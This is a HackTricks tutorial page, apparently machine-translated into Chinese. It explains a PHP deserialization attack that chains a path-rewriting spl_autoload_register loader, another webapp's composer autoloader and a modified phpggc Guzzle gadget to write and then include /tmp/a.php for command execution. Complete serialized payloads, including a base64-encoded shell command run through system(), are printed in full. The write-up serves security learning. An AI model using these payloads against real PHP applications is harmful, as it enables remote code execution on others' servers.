PHP - Deserialization + Autoload Classes

支持 HackTricks

首先,您应该检查什么是 自动加载类

PHP 反序列化 + spl_autoload_register + LFI/小工具

我们处于一种情况,发现了一个 webapp 中的 PHP 反序列化,并且 没有 库在 phpggc 中易受小工具攻击。然而,在同一个容器中有一个 不同的 composer webapp,具有易受攻击的库。因此,目标是 加载另一个 webapp 的 composer 加载器,并利用它 加载一个将利用该库的小工具,该小工具来自易受反序列化攻击的 webapp。

步骤:

  • 您发现了一个 反序列化,并且 当前应用代码中没有任何小工具

  • 您可以利用 spl_autoload_register 函数,如下所示,加载任何本地文件,扩展名为 .php

  • 为此,您使用一个反序列化,其中类的名称将位于 $name 中。您 不能在序列化对象的类名中使用 "/" 或 ".",但是 代码 正在 将下划线 ("_") 替换为斜杠 ("/")。因此,像 tmp_passwd 这样的类名将被转换为 /tmp/passwd.php,代码将尝试加载它。 一个 小工具示例 将是:O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

如果你有一个 文件上传 并且可以上传一个 .php 扩展名 的文件,你可以 直接利用这个功能 并获得 RCE。

在我的情况下,我没有这样的东西,但在 同一个容器 内有另一个 composer 网页,里面有一个 易受攻击的 phpggc 小工具

  • 要加载这个其他库,首先你需要 加载那个其他 web 应用的 composer 加载器(因为当前应用的加载器无法访问另一个的库。) 知道应用的路径,你可以很容易地实现这一点:O:28:"www_frontend_vendor_autoload":0:{}(在我的情况下,composer 加载器在 /www/frontend/vendor/autoload.php

  • 现在,你可以 加载 其他 应用的 composer 加载器,所以是时候 生成 phpgcc 有效载荷 来使用。在我的情况下,我使用了 Guzzle/FW1,这让我可以 在文件系统内写入任何文件

  • 注意:生成的小工具没有工作,为了使其工作,我 修改 了那个有效载荷 chain.php 的 phpggc,并将 所有属性 的类 从私有改为公共。如果不这样做,反序列化字符串后,创建的对象的属性将没有任何值。

  • 现在我们有办法 加载其他应用的 composer 加载器 并且有一个 有效的 phpggc 有效载荷,但我们需要 在同一个请求中执行此操作,以便在使用小工具时加载加载器。为此,我发送了一个序列化数组,包含两个对象,如下所示:

  • 你可以看到 首先加载加载器,然后是有效载荷

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • 现在,我们可以创建和写入文件,但是用户无法在web服务器的任何文件夹中写入。因此,如您在有效负载中所见,PHP调用**system并在/tmp/a.php中创建了一些base64**。然后,我们可以重用我们用于LFI的第一种有效负载来加载另一个web应用程序的composer加载器**以加载生成的/tmp/a.php**文件。只需将其添加到反序列化小工具中:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

有效载荷摘要

  • 加载同一容器中不同webapp的composer自动加载

  • 加载phpggc小工具以利用其他webapp的库(最初易受反序列化攻击的webapp的库中没有任何小工具)

  • 小工具将在/tmp/a.php中创建一个包含PHP有效载荷的文件,里面有恶意命令(webapp用户无法在任何webapp的任何文件夹中写入)

  • 我们有效载荷的最后部分将使用加载生成的php文件来执行命令

我需要调用这个反序列化两次。在我的测试中,第一次创建了/tmp/a.php文件但没有加载,第二次则正确加载。

支持HackTricks

Last updated